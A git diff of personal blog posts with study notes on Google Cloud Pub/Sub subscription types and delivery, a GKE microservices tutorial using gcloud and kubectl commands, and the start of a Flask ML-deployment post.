enable `message ordering`. + - After you set the message ordering property, the Pub/Sub service delivers messages with the same ordering key and in the order that the Pub/Sub service receives the messages. + +- Pub/Sub also supports `exactly-once` delivery. + - In general, Pub/Sub delivers each message once and in the order in which it was published. + - However, messages may sometimes be delivered out of order or more than once. Pub/Sub might redeliver a message even after an acknowledgement request for the message returns successfully. + - This redelivery can be caused by issues such as server-side restarts or client-side issues. + - Thus, although rare, any message can be redelivered at any time. + +- Accommodating `more-than-once` delivery requires the subscriber to be idempotent when processing messages. + + + +**Subscription expiry** + +- By default, subscriptions expire after 31 days of subscriber inactivity or if there are no updates made to the subscription. Examples of subscriber activities include open connections, active pulls, or successful pushes. If Pub/Sub detects subscriber activity or an update to the subscription properties, the subscription deletion clock restarts. Using subscription expiration policies, you can configure the inactivity duration or make the subscription persistent regardless of activity. You can also delete a subscription manually. + +- Although you can create a new subscription with the same name as a deleted one, the new subscription has no relationship to the old one. Even if the deleted subscription had many unacknowledged messages, a new subscription created with the same name would have no backlog (no messages waiting for delivery) at the time it's created. + + +--- + + +#### Pull subscription + +> Required roles and permissions +> - grant the `Pub/Sub Editor (roles/pubsub.editor)` IAM role on the topic or project. +> - This predefined role contains the permissions required to create pull subscriptions and manage them. +> - can configure access control at the project level and at the individual resource level. +> - can create a subscription in one project and attach it to a topic located in a different project. n + +**Pull subscription** +- In a pull subscription, a subscriber client requests messages from the Pub/Sub server. + +- The pull mode + - can use one of the two service APIs, `Pull` or `StreamingPull`. + - can select a `Google-provided high-level client library`, or a `low-level auto-generated client library` + - can choose between `asynchronous` and `synchronous` message processing. + - Note: For most use cases, we recommend the Google-provided high-level client library + StreamingPull API + asynchronous message processing. + + +**Pull subscription workflow** + +![Screenshot 2023-07-17 at 21.10.36](/assets/img/Screenshot%202023-07-17%20at%2021.10.36.png) + + +- For a pull subscription, the `subscriber client initiates requests` to a Pub/Sub server to retrieve messages. + +- The subscriber client uses one of the following APIs: + - REST PullAPI + - RPC PullRequest API + - REST StreamingPullRequest API + - RPC StreamingPullRequest API + +- library + - `Google Cloud-provided high-level client library` + - Most subscriber clients don't make these requests directly, they rely on the `Google Cloud-provided high-level client library` + - it performs `streaming pull requests internally` and delivers messages `asynchronously`. + + - `low-level and automatically generated gRPC library` + - For subscriber client that needs greater control over how messages are pulled, + - Pub/Sub uses a `low-level and automatically generated gRPC library` to makes pull or streaming pull requests directly. + - These requests can be synchronous or asynchronous. + +The following two images show the workflow between a subscriber client and a pull subscription. +1. The subscriber client explicitly calls the pull method (`PullRequest`), which requests messages for delivery. +1. The Pub/Sub server responds `PullResponse` with zero or more messages and acknowledgment IDs. + - A response with zero messages or with an error does not necessarily indicate that there are no messages available to receive. +1. The subscriber client explicitly calls the acknowledge method. + - The client uses the returned acknowledgment ID to acknowledge that the message is processed and need not be delivered again. + +![Screenshot 2023-07-17 at 21.34.03](/assets/img/Screenshot%202023-07-17%20at%2021.34.03.png) + + +##### APIs + +> - For a single `StreamingPullRequest` request, a subscriber client can have multiple responses returned due to the open connection. +> - For a single `PullRequest` request,only one response is returned for each pull request. + +The Pub/Sub pull subscription can use one of the following two APIs for retrieving messages: +- Pull +- StreamingPull + +- Use unary Acknowledge and ModifyAckDeadline RPCs when you receive messages using these APIs. + + +**StreamingPull API** + +- Where possible, the Pub/Sub client libraries use StreamingPull for maximum throughput and lowest latency. + +- The StreamingPull API relies on a persistent bidirectional connection to receive multiple messages as they become available. + +- Messages are sent to the connection when they are available. + +- The StreamingPull API thus minimizes latency and maximizes throughput for messages. + +workflow: +1. The client sends a request to the server to establish a connection. + +2. the server + 1. If the connection quota is exceeded, the server returns a resource exhausted error. The client library retries the out-of-quota errors automatically. + 2. If there is no error or the connection quota is available again, the server continuously sends messages to the connected client. + 3. If or when the throughput quota is exceeded, the server stops sending messages. However, the connection is not broken. Whenever there's sufficient throughput quota available again, the stream resumes. + +3. The client or the server eventually closes the connection. + +4. The StreamingPull API keeps an open connection. The Pub/Sub servers recurrently close the connection after a time period to avoid a long-running sticky connection. The client library automatically reopens a StreamingPull connection. + +> Note: +> - The PHP client library does not support the StreamingPull API. +> - Read more about the StreamingPull REST methods: StreamingPullRequest and StreamingPullResponse. +> - Read more about the StreamingPull RPC methods: StreamingPullRequest and StreamingPullResponse. + + +**Pull API** + +- This API is a traditional unary RPC that is based on a request and response model. + +- A single pull response corresponds to a single pull request. + +- Using the Pull API does not guarantee low latency and a high throughput of messages. + - To achieve high throughput and low latency with the Pull API, you must have multiple simultaneous outstanding requests. + - New requests are created when old requests receive a response. + - Architecting such a solution is error-prone and hard to maintain. + - recommend to use the StreamingPull API for such use cases. + + +`Use the Pull API instead of the StreamingPull API only if` you require strict control over the following: +- The number of messages that the subscriber client can process +- The client memory and resources +- You can also use this API when your subscriber is a proxy between Pub/Sub and another service that operates in a more pull-oriented way. + + +workflow: +1. The client sends a request to the server for messages. + +2. the server + 1. If the throughput quota is exceeded, the server returns a resource exhausted error. + 2. If there is no error or the throughput quota is available again, the server replies with zero or more messages and acknowledgment IDs. + +3. When using the unary Pull API, a response with zero messages or with an error does not necessarily indicate that there are no messages available to receive. + +> Note: +> Read more about the Pull REST methods: Method: projects.subscriptions.pull. +> Read more about the Pull RPC methods: PullRequest and PullResponse. + + +##### message processing modes + +Choose one of the following pull modes for your subscriber clients. + +**Asynchronous pull mode** + +- decouples the receiving of messages from the processing of messages in a subscriber client. +- This mode is the default for most subscriber clients. +- can use the StreamingPull API or unary Pull API. +- can use the high-level client library or low-level auto-generated client library. + +**Synchronous pull mode** + +- the receiving and processing of messages occur in sequence and are not decoupled from each other. +- Hence, similar to StreamingPull versus unary Pull APIs, asynchronous processing offers lower latency and higher throughput than synchronous processing. + +- Use synchronous pull mode only for applications where low latency and high throughput are not the most important factors as compared to some other requirements. +- For example + - an application might be limited to using only the synchronous programming model. + - an application with resource constraints might require more exact control over memory, network, or CPU. + - In such cases, use synchronous mode with the unary Pull API. + + + +##### client libraries + +Pub/Sub offers a high-level and a low-level auto-generated client library. + +**High-level Pub/Sub client library** + +- recommended for cases where you require high throughput and low latency with minimal operational overhead and processing cost. +- By default, the high-level client library uses the StreamingPull API. + +- it provides options for controlling the acknowledgment deadlines by using lease management. + - These options are more granular than when you configure the acknowledgment deadlines by using the console or the CLI at the subscription level. + +- it implements support for features such as ordered delivery, exactly-once delivery, and flow control. + +- We recommend using asynchronous pull and the StreamingPull API with the high-level client library. + - Not all languages that are supported for Google Cloud also support the Pull API in the high-level client library. + + +**Low-level auto-generated Pub/Sub client library** + +- available for cases where you must use the Pull API directly. + +- an auto-generated gRPC library and comes into play when you use the service APIs directly. + +- You can use synchronous or asynchronous processing with the low-level auto-generated client library. + +- You must manually code features such as ordered delivery, exactly-once delivery, flow control, and lease management when you use the low-level auto-generated client library. + +- You can use the synchronous processing model when you use the low-level auto-generated client library for all supported languages. You might use the low-level auto-generated client library and synchronous pull in cases where using the Pull API directly makes sense. For example, you might have existing application logic that relies on this model. + + + +**Pull subscription properties** +- When you configure a pull subscription, you can specify the following properties. + +- **Common properties** + - the common subscription properties that you can set across all subscriptions. + - https://cloud.google.com/pubsub/docs/subscription-properties + +- **Exactly-once delivery** + + - `Exactly-once delivery`. + - If set, Pub/Sub fulfills exactly-once delivery guarantees. + - If unspecified, the subscription supports at-least-once delivery for each message. + + +##### pull subscription Creation + +```bash +gcloud pubsub subscriptions create SUBSCRIPTION_ID --topic=TOPIC_ID +# Replace the following: +# SUBSCRIPTION_ID: The name or ID of the new pull subscription. +# TOPIC_ID: The name or ID of the topic. +``` + +1. StreamingPull and high-level client library code samples + +```py +from concurrent.futures import TimeoutError +from google.cloud import pubsub_v1 + +# TODO(developer) +# project_id = "your-project-id" +# subscription_id = "your-subscription-id" +# Number of seconds the subscriber should listen for messages +# timeout = 5.0 + +subscriber = pubsub_v1.SubscriberClient() +# The `subscription_path` method creates a fully qualified identifier +# in the form `projects/{project_id}/subscriptions/{subscription_id}` +subscription_path = subscriber.subscription_path(project_id, subscription_id) + +def callback(message: pubsub_v1.subscriber.message.Message) -> None: + print(f"Received {message}.") + message.ack() + +streaming_pull_future = subscriber.subscribe( + subscription_path, callback=callback) +print(f"Listening for messages on {subscription_path}..\n") + +# Wrap subscriber in a 'with' block to automatically call close() when done. +with subscriber: + try: + # When `timeout` is not set, result() will block indefinitely, + # unless an exception is encountered first. + streaming_pull_future.result(timeout=timeout) + except TimeoutError: + streaming_pull_future.cancel() # Trigger the shutdown. + streaming_pull_future.result() # Block until the shutdown is complete. +``` + +2. Retrieve custom attributes using the high-level client library + +```py +subscriber = pubsub_v1.SubscriberClient() +subscription_path = subscriber.subscription_path(project_id, subscription_id) + +def callback(message: pubsub_v1.subscriber.message.Message) -> None: + print(f"Received {message.data!r}.") + if message.attributes: + print("Attributes:") + for key in message.attributes: + value = message.attributes.get(key) + print(f"{key}: {value}") + message.ack() + +streaming_pull_future = subscriber.subscribe(subscription_path, callback=callback) +print(f"Listening for messages on {subscription_path}..\n") + +# Wrap subscriber in a 'with' block to automatically call close() when done. +with subscriber: + try: + # When `timeout` is not set, result() will block indefinitely, + # unless an exception is encountered first. + streaming_pull_future.result(timeout=timeout) + except TimeoutError: + streaming_pull_future.cancel() # Trigger the shutdown. + streaming_pull_future.result() # Block until the shutdown is complete. +``` + +3. Handle errors using the high-level client library + + +```py +# 1 +streaming_pull_future = subscriber.subscribe(subscription_path, callback=callback) +# Wrap subscriber in a 'with' block to automatically call close() when done. +with subscriber: + # When `timeout` is not set, result() will block indefinitely, + # unless an exception is encountered first. + try: + streaming_pull_future.result(timeout=timeout) + except Exception as e: + print( + f"Listening for messages on {subscription_path} threw an exception: {e}." + ) + streaming_pull_future.cancel() # Trigger the shutdown. + streaming_pull_future.result() # Block until the shutdown is complete. + +# 2 +subscriber = pubsub_v1.SubscriberClient() +subscription_path = subscriber.subscription_path(project_id, subscription_id) +NUM_MESSAGES = 3 +# Wrap the subscriber in a 'with' block to automatically call close() to +# close the underlying gRPC channel when done. +with subscriber: + # The subscriber pulls a specific number of messages. The actual + # number of messages pulled may be smaller than max_messages. + response = subscriber.pull( + request={"subscription": subscription_path, "max_messages": NUM_MESSAGES}, + retry=retry.Retry(deadline=300), + ) + if len(response.received_messages) == 0: + return + + ack_ids = [] + for received_message in response.received_messages: + print(f"Received: {received_message.message.data}.") + ack_ids.append(received_message.ack_id) + + # Acknowledges the received messages so they will not be sent again. + subscriber.acknowledge( + request={"subscription": subscription_path, "ack_ids": ack_ids} + ) + print( + f"Received and acknowledged {len(response.received_messages)} messages from {subscription_path}." + ) +``` + + + +#### Push subscriptions + +- In push delivery, Pub/Sub initiates requests to your subscriber application to deliver messages. + +- Messages are delivered to a publicly addressable server or a webhook, such as an HTTPS POST request. + +- it minimize dependencies on Pub/Sub-specific client libraries and authentication mechanisms. They also work well with serverless and autoscaling service technologies, such as Cloud Functions, Cloud Run, and Google Kubernetes Engine. + + +**Push subscription workflow** + +![Screenshot 2023-07-17 at 21.10.55](/assets/img/Screenshot%202023-07-17%20at%2021.10.55.png) + +- Pub/Sub server initiates a request to your subscriber client to deliver messages. + +the workflow between a subscriber client and a push subscription. + +1. The Pub/Sub server sends each message as an HTTPS request (`PushRequest`) to the subscriber client at a pre-configured endpoint. + +1. The endpoint acknowledges the message (`PushResponse`) by returning an HTTP success status code. + 1. A non-success response indicates that Pub/Sub must resend the messages. + +2. Pub/Sub dynamically adjusts the rate of push requests based on the rate at which it receives success responses. + + +**How push endpoints receive messages** + +- When Pub/Sub delivers a message to a push endpoint, Pub/Sub sends the message in the body of a `POST` request. + +- The body of the request is a JSON object and the message data is in the message.data field. The message data is base64-encoded. + +```yaml +# example: the body of a POST request to a push endpoint: +{ + "message": { + "attributes": { + "key": "value" + }, + "data": "SGVsbG8gQ2xvdWQgUHViL1N1YiEgSGVyZSBpcyBteSBtZXNzYWdlIQ==", + "messageId": "2070443601311540", + "message_id": "2070443601311540", + "publishTime": "2021-02-26T19:13:55.749Z", + "publish_time": "2021-02-26T19:13:55.749Z" + }, + "subscription": "projects/myproject/subscriptions/mysubscription" +} +``` + +- To receive messages from push subscriptions, + - use a webhook and process the POST requests that Pub/Sub sends to the push endpoint. + - After you receive a push request, return an HTTP status code. To acknowledge the message, return one of the following status codes: + - 102 + - 200 + - 201 + - 202 + - 204 + +- To send a negative acknowledgment for the message, return any other status code. If you send a negative acknowledgment or the acknowledgment deadline expires, Pub/Sub resends the message. You can't modify the acknowledgment deadline of individual messages that you receive from push subscriptions. + + + +##### Authentication for push subscriptions + +- If a push subscription uses authentication, the Pub/Sub service signs a JWT and sends the JWT in the authorization header of the push request. + + +##### Stop and resume message delivery + +- To temporarily stop Pub/Sub from sending requests to the push endpoint, change the subscription to pull. +- The changeover can take several minutes to take effect. + +- To resume push delivery, set the URL to a valid endpoint again. + +- To permanently stop delivery, delete the subscription. + +##### Push backoff + +- If a push subscriber sends too many negative acknowledgments, Pub/Sub might start delivering messages using a push backoff. + - When Pub/Sub uses a push backoff, it stops delivering messages for a predetermined amount of time. + - This time span can range between 100 milliseconds to 60 seconds. + - After the time has elapsed, Pub/Sub starts delivering messages again. + +Note: This feature is independent from the subscription retry policy. You can use these two features together to better control the flow of messages. In this case, The total delay is the maximum combined value of both the push backoff value and the retry policy value. If you're noticing issues with message delivery, double check how your retry policy is interacting with push backoff. +Push backoff uses an exponential backoff algorithm to determine the delay Pub/Sub that uses between sending messages. This amount of time is calculated based on the number of negative acknowledgments that push subscribers send. + +- For example + - if a push subscriber receives five messages per second and sends one negative acknowledgment per second, Pub/Sub delivers messages approximately every 500 milliseconds. + - if the push subscriber sends five negative acknowledgments per second, Pub/Sub delivers messages every 30 through 60 seconds. + + +- Push backoff can't be turned on or off. You also can't modify the values used to calculate the delay. + +- Push backoff triggers on the following actions: + - When a negative acknowledgment is received. + - When the acknowledgment deadline of a message expires. + - Push backoff applies to all the messages in a subscription (global). + + +##### Delivery rate + +- Pub/Sub adjusts the number of concurrent push requests using a `slow-start` algorithm. + +- The maximum allowed number of concurrent push requests is the `push window`. + - The push window increases on any successful delivery and decreases on any failure. + - The system starts with a small single-digit window size. + +- When a subscriber acknowledges messages, the window increases exponentially. +- For subscriptions where subscribers acknowledge greater than 99% of messages and average less than one second of push request latency, the push window should expand enough to keep up with any publish throughput. + +- The push request latency includes the following: + - The round-trip network latency between Pub/Sub servers and the push endpoint + - The processing time of the subscriber + +- After 3,000 outstanding messages per region, the window increases linearly to prevent the push endpoint from receiving too many messages. If the average latency exceeds one second or the subscriber acknowledges less than 99% of requests, the window decreases to the lower limit of 3,000 outstanding messages. + + +##### Quotas and limits + +- Push subscriptions are subject to a set of quotas and resource limits. + + + + + + + +Considerations + +- VPC Service Controls + + - For a project protected by VPC Service Controls, note the following limitations for push subscriptions: + + - You can only create new push subscriptions for which the **push endpoint** is set to a Cloud Run service with a default `run.app` URL. Custom domains don't work. + - When routing events through Eventarc to Workflows destinations for which the push endpoint is set to a Workflows execution, you can only create new push subscriptions through Eventarc. + - You can't update existing push subscriptions. These push subscriptions continue to function, although they are not protected by VPC Service Controls. + - Cloud Functions can create a push subscription using an endpoint within a VPC Service Controls perimeter. + +Push subscription properties + +- Common subscription properties + - Pub/Sub subscription properties are the characteristics of a subscription. + - You can set subscription properties when you create or update a subscription. + - https://cloud.google.com/pubsub/docs/subscription-properties + + + +- **Endpoints** + + - Endpoint URL (required). + - A publicly accessible HTTPS address. + - The server for the push endpoint must have a valid SSL certificate signed by a certificate authority. + - The Pub/Sub service delivers messages to push endpoints from the same Google Cloud region that the Pub/Sub service stores the messages. The Pub/Sub service delivers messages from the same Google Cloud region on a best-effort basis. + + - Pub/Sub no longer requires proof of ownership for push subscription URL domains. If the domain receives unexpected POST requests from Pub/Sub, you can report suspected abuse. + +- **Authentication** + + - `Enable authentication`. + - When enabled, messages delivered by Pub/Sub to the push endpoint include an authorization header to allow the `endpoint to authenticate the request`. + - Automatic authentication and authorization mechanisms are available for App Engine Standard and Cloud Functions endpoints hosted in the same project as the subscription. + + - The authentication configuration for an authenticated push subscription consists of a user-managed service account, and the audience parameters that are specified in a `create, patch, or ModifyPushConfig call`. You must also grant a special Google-managed service account a specific role + + - `User-managed service account (required)`. + - The service account associated with the push subscription. + - This account is used as the email claim of the generated JSON Web Token (JWT). + - Requirements for the service account: + + - This service account must be in the same project as the push subscription. + + - The principal who is creating or modifying the push subscription must have the `iam.serviceAccounts.actAs` permission on the service account. + - You can either + - grant a role with this permission on the `project, folder, or organization` to allow the caller to impersonate multiple service accounts + - or grant a role with this permission on the `service account` to allow the caller to impersonate only this service account. + + - `Audience`. + - A single, case-insensitive string that the webhook uses to validate the intended audience of this particular token. + + - `Google-managed service account (required)`. + + - Pub/Sub automatically creates a service account for you with the format `service-{PROJECT_NUMBER}@gcp-sa-pubsub.iam.gserviceaccount.com`. + - The service account must be granted the `iam.serviceAccounts.getOpenIdToken` permission (included in the roles/iam.serviceAccountTokenCreator role) to allow Pub/Sub to create JWT tokens for authenticated push requests. + + +--- + +#### BigQuery subscriptions + +BigQuery subscription + +- Without the BigQuery subscription type, you need a pull or push subscription and a subscriber (such as Dataflow) that reads messages and writes them to a BigQuery table. The overhead of running a Dataflow job is not necessary when messages don't require additional processing before storing them in a BigQuery table; you can use a BigQuery subscription instead. + + + +- A BigQuery subscription writes messages to an existing BigQuery table as they are received. You don't need to configure a separate subscriber client. + + + +An alternative for simple data ingestion pipelines that often use Dataflow to write to BigQuery +- Simple deployment. You can set up a BigQuery subscription through a single workflow in the console, Google Cloud CLI, client library, or Pub/Sub API. +- Offers low costs. Removes the additional cost and latency of similar Pub/Sub pipelines that include Dataflow jobs. This cost optimization is useful for messaging systems that don't require additional processing before storage. +Minimizes monitoring. BigQuery subscriptions are part of the multi-tenant Pub/Sub service and don't require you to run separate monitoring jobs. + + + + +## Cloud Architecture Center + + + +### Integrating microservices with Pub/Sub and GKE + +![Screenshot 2023-07-17 at 23.09.55](/assets/img/Screenshot%202023-07-17%20at%2023.09.55.png) + +Objectives + +1. Deploy an example photo album app on GKE. +1. Make asynchronous service calls from the app. +1. Use Pub/Sub notifications for `Cloud Storage to trigger the app` when a new file is uploaded to the Cloud Storage bucket. +1. Use Pub/Sub to perform more tasks without modifying the app. + + +```bash +# ========== Setting up the environment +gcloud config set project project-id +gcloud config set compute/region region +export REGION=region +gcloud config set compute/zone zone +export ZONE=zone + +git clone https://github.com/GoogleCloudPlatform/gke-photoalbum-example +cd gke-photoalbum-example + + +# ========== Creating a Cloud Storage bucket and uploading the default thumbnail image +# create a Cloud Storage bucket to store the original images and thumbnails: +export PROJECT_ID=$(gcloud config get-value project) +gsutil mb -c regional -l ${REGION} gs://${PROJECT_ID}-photostore + +# Upload the default thumbnail file: +gsutil cp ./application/photoalbum/images/default.png \ + gs://${PROJECT_ID}-photostore/thumbnails/default.png + +# Make the thumbnail file public: +gsutil acl ch -u AllUsers:R \ + gs://${PROJECT_ID}-photostore/thumbnails/default.png + + +# ========== Creating a Cloud SQL instance and a MySQL database +# create the Cloud SQL instance: +gcloud sql instances create photoalbum-db \ + --region=${REGION} \ + --database-version=MYSQL_5_7 +# Retrieve the connection name: +gcloud sql instances describe photoalbum-db \ + --format="value(connectionName)" + +# Set the password for the root@% MySQL user: +gcloud sql users set-password root \ + --host=% \ + --instance=photoalbum-db \ + --password=password + +# Connect to the Cloud SQL instance: +gcloud sql connect photoalbum-db --user=root --quiet + +# Create a database called photo_db, where the user is appuser with a password of pas4appuser: +create database photo_db; +grant all privileges on photo_db.* to appuser@"%" \ + identified by 'pas4appuser' with grant option; + +# create database photo_db; +grant all privileges on photo_db.* to appuser@"%" \ + identified by 'pas4appuser' with grant option; + +# Confirm the result and exit from MySQL: +show databases; +select user from mysql.user; +exit + +# In the output, confirm that the photo_db database and the appuser user are created: +MySQL [(none)]> show databases; ++--------------------+ +| Database | ++--------------------+ +| information_schema | +| mysql | +| performance_schema | +| photo_db | +| sys | ++--------------------+ +5 rows in set (0.16 sec) + +MySQL [(none)]> select user from mysql.user; ++-----------+ +| user | ++-----------+ +| appuser | +| root | +| mysql.sys | ++-----------+ +3 rows in set (0.16 sec) + +MySQL [(none)]> exit +Bye + + + +# ========== Creating a Pub/Sub topic and a subscription +# create a Pub/Sub topic called thumbnail-service: +gcloud pubsub topics create thumbnail-service +# The photo album app sends requests to the thumbnail generation service by publishing a message on the thumbnail-service topic. + +# Create a Pub/Sub subscription called thumbnail-workers: +gcloud pubsub subscriptions create \ + --topic thumbnail-service thumbnail-workers + +# The thumbnail generation service receives requests from the thumbnail-workers subscription. + + + +# ========== Creating a GKE cluster +# create a GKE cluster with permission to call APIs: +gcloud container clusters create "photoalbum-cluster" \ + --scopes "https://www.googleapis.com/auth/cloud-platform" \ + --num-nodes "5" +# Get access credentials configured so that you can manage the cluster using the kubectl command in later steps: +gcloud container clusters get-credentials photoalbum-cluster +# Show the list of nodes: +kubectl get nodes +# In the output, confirm that there are five nodes with the STATUS of Ready: +NAME STATUS ROLES AGE VERSION +gke-photoalbum-cluster-default-pool-0912a91a-24vt Ready 6m v1.9.7-gke.6 +gke-photoalbum-cluster-default-pool-0912a91a-5h1n Ready 6m v1.9.7-gke.6 +gke-photoalbum-cluster-default-pool-0912a91a-gdm9 Ready 6m v1.9.7-gke.6 +gke-photoalbum-cluster-default-pool-0912a91a-swv6 Ready 6m v1.9.7-gke.6 +gke-photoalbum-cluster-default-pool-0912a91a-thv8 Ready 6m v1.9.7-gke.6 + + + +# ========== Building images for the app +# In a text editor, open the application/photoalbum/src/auth_decorator.py file and update the username and password: +USERNAME = 'username' +PASSWORD = 'passw0rd' + +# build an image for the photo album app by using the Cloud Build service: +gcloud builds submit ./application/photoalbum -t \ + gcr.io/${PROJECT_ID}/photoalbum-app + +# Build an image for the thumbnail-worker thumbnail generation service by using the Cloud Build service: +gcloud builds submit ./application/thumbnail -t \ + gcr.io/${PROJECT_ID}/thumbnail-worker + + + +# ========== Deploying the photo album app +# update the Kubernetes Deployment manifests for the photo album and the thumbnail generator with values from your environment: +connection_name=$(gcloud sql instances describe photoalbum-db \ + --format "value(connectionName)") + +digest_photoalbum=$(gcloud container images describe gcr.io/${PROJECT_ID}/photoalbum-app:latest \ + --format "value(image_summary.digest)") + +sed -i.bak -e "s/\[PROJECT_ID\]/${PROJECT_ID}/" \ + -e "s/\[CONNECTION_NAME\]/${connection_name}/" \ + -e "s/\[DIGEST\]/${digest_photoalbum}/" \ + config/photoalbum-deployment.yaml + +digest_thumbnail=$(gcloud container images describe gcr.io/${PROJECT_ID}/thumbnail-worker:latest \ + --format "value(image_summary.digest)") + +sed -i.bak -e "s/\[PROJECT_ID\]/${PROJECT_ID}/" \ + -e "s/\[CONNECTION_NAME\]/${connection_name}/" \ + -e "s/\[DIGEST\]/${digest_thumbnail}/" \ + config/thumbnail-deployment.yaml + +# Create deployment resources to launch the photo album app and the thumbnail generation service: +kubectl create -f config/photoalbum-deployment.yaml +kubectl create -f config/thumbnail-deployment.yaml +# Create a service resource to assign an external IP address to the app: +kubectl create -f config/photoalbum-service.yaml +# Check the results for the Pods +kubectl get pods +# In the output, confirm that there are three pods for each photoalbum-app and thumbail-worker with a STATUS of Running: +NAME READY STATUS RESTARTS AGE +photoalbum-app-555f7cbdb7-cp8nw 2/2 Running 0 2m +photoalbum-app-555f7cbdb7-ftlc6 2/2 Running 0 2m +photoalbum-app-555f7cbdb7-xsr4b 2/2 Running 0 2m +thumbnail-worker-86bd95cd68-728k5 2/2 Running 0 2m +thumbnail-worker-86bd95cd68-hqxqr 2/2 Running 0 2m +thumbnail-worker-86bd95cd68-xnxhc 2/2 Running 0 2m + +# Note: thumbnail-worker subscribes thumbnail generation requests from the thumbnail-workers subscription. For more details, see how the callback function is used in the source code. + +# Check the results for the Services: +kubectl get services +# In the output, confirm that there is an external IP address in the EXTERNAL-IP column for photoalbum-service. It might take a few minutes until they are all set and running. +NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE +kubernetes ClusterIP 10.23.240.1 443/TCP 20m +photoalbum-service LoadBalancer 10.23.253.241 146.148.111.115 80:32657/TCP 2m +# Make a note of the external IP address because it's used later in this tutorial. In this example, it is 146.148.111.115. + + + +# ========== Testing the photo album app +# To access the deployed app in a web browser, go to the following URL and enter the username and password that you previously set up: +https://external-ip +# Replace external-ip with the IP address that you copied in the previous step. +# To upload an image file of your choice, click Upload + + +# ========== Create a Pub/Sub topic, subscription, and notification +# create a Pub/Sub topic called safeimage-service: +gcloud pubsub topics create safeimage-service +# Create a Pub/Sub subscription called safeimage-workers: +gcloud pubsub subscriptions create \ + --topic safeimage-service safeimage-workers + +# Configure a Pub/Sub notification so that a message is sent to the safeimage-service topic when a new file is uploaded to the Cloud Storage bucket: +gsutil notification create -t safeimage-service -f json \ + gs://${PROJECT_ID}-photostore + + + + +# ========== Build and deploy the worker image +# build a container image for the safeimage-workers subscription by using Cloud Build: +gcloud builds submit ./application/safeimage \ + -t gcr.io/${PROJECT_ID}/safeimage-worker + +# Update the Kubernetes Deployment manifests for the safe-image service with your Google Cloud project ID, Cloud SQL connection name, and container image digests: +digest_safeimage=$(gcloud container images describe \ + gcr.io/${PROJECT_ID}/safeimage-worker:latest --format \ + "value(image_summary.digest)") +sed -i.bak -e "s/\[PROJECT_ID\]/${PROJECT_ID}/" \ + -e "s/\[CONNECTION_NAME\]/${connection_name}/" \ + -e "s/\[DIGEST\]/${digest_safeimage}/" \ + config/safeimage-deployment.yaml + + + +# ========== Create a deployment resource +# Create a deployment resource called safeimage-deployment to deploy the safeimage-service topic: +kubectl create -f config/safeimage-deployment.yaml +# Check the results: +kubectl get pods +# In the output, confirm that there are three pods of safeimage-worker with the STATUS of Running. +NAME READY STATUS RESTARTS AGE +photoalbum-app-555f7cbdb7-cp8nw 2/2 Running 0 30m +photoalbum-app-555f7cbdb7-ftlc6 2/2 Running 0 30m +photoalbum-app-555f7cbdb7-xsr4b 2/2 Running 8 30m +safeimage-worker-7dc8c84f54-6sqzs 1/1 Running 0 2m +safeimage-worker-7dc8c84f54-9bskw 1/1 Running 0 2m +safeimage-worker-7dc8c84f54-b7gtp 1/1 Running 0 2m +thumbnail-worker-86bd95cd68-9wrpv 2/2 Running 0 30m +thumbnail-worker-86bd95cd68-kbhsn 2/2 Running 2 30m +thumbnail-worker-86bd95cd68-n4rj7 2/2 Running 0 30m + + +``` + + + + +. diff --git a/_posts/01Cloud/01GCP/Compute/.DS_Store b/_posts/01Cloud/01GCP/Compute/.DS_Store new file mode 100644 index 00000000000..a2eaafaeb21 Binary files /dev/null and b/_posts/01Cloud/01GCP/Compute/.DS_Store differ diff --git a/_posts/01Cloud/01GCP/Compute/2021-01-01-GCP-App-migrate.md b/_posts/01Cloud/01GCP/Compute/2021-01-01-GCP-App-migrate.md new file mode 100644 index 00000000000..4e47bebb742 --- /dev/null +++ b/_posts/01Cloud/01GCP/Compute/2021-01-01-GCP-App-migrate.md @@ -0,0 +1,894 @@ +--- +title: GCP - Compute migrate +date: 2021-01-01 11:11:11 -0400 +categories: [01GCP, Compute] +tags: [GCP] +toc: true +image: +--- + +- [Migration](#migration) + - [Application Migration](#application-migration) + - [在 Google 云平台上部署 ML 模型](#在-google-云平台上部署-ml-模型) + - [在 Google Cloud Function 上部署 ML 模型](#在-google-cloud-function-上部署-ml-模型) + - [在 Google AI 云上部署 ML 模型](#在-google-ai-云上部署-ml-模型) + - [Google Cloud Run](#google-cloud-run) + - [App migrate](#app-migrate) + +--- + +# Migration + +--- + +## Application Migration + +- creating a VM, then using the container option, and then the advanced options to set the starting commands and environment variables. +- For something like Grafana I have setup a template, and use a group with a minimum instance of 1, then use the load balancer to provide certificate offloading. + +--- + +## 在 Google 云平台上部署 ML 模型 + +> 本节中使用的代码可以在 /kurtispykes/gcp-deployment-example GitHub repo 中找到。 + +1. 在 Google App Engine 上部署 ML 模型 + +predict.py + +- 本模块中的步骤包括: + - 将持久化模型加载到内存中。 + - 创建一个将一些输入作为参数的函数。 + - 在函数中,将输入转换为 pandas DataFrame并进行预测。 + +```py +import joblib +import pandas as pd + +model = joblib.load("logistic_regression_v1.pkl") + +def make_prediction(inputs): + """ + Make a prediction using the trained model + """ + inputs_df = pd.DataFrame( + inputs, + columns=["sepal_length_cm", "sepal_width_cm", "petal_length_cm", "petal_width_cm"] + ) + predictions = model.predict(inputs_df) + + return predictions +``` + +main.py +- 推理逻辑必须封装在 web 服务中。用 Flask 包装模型。 +- 在代码示例中创建了两个端点 + - index:主页 + - /predict:用于与部署的模型交互。 + +```py +import numpy as np +from flask import Flask, request +from predict import make_prediction + +app = Flask(__name__) + +@app.route("/", methods=["GET"]) +def index(): + """Basic HTML response.""" + body = ( + "" + "" + "

    Welcome to my Flask API

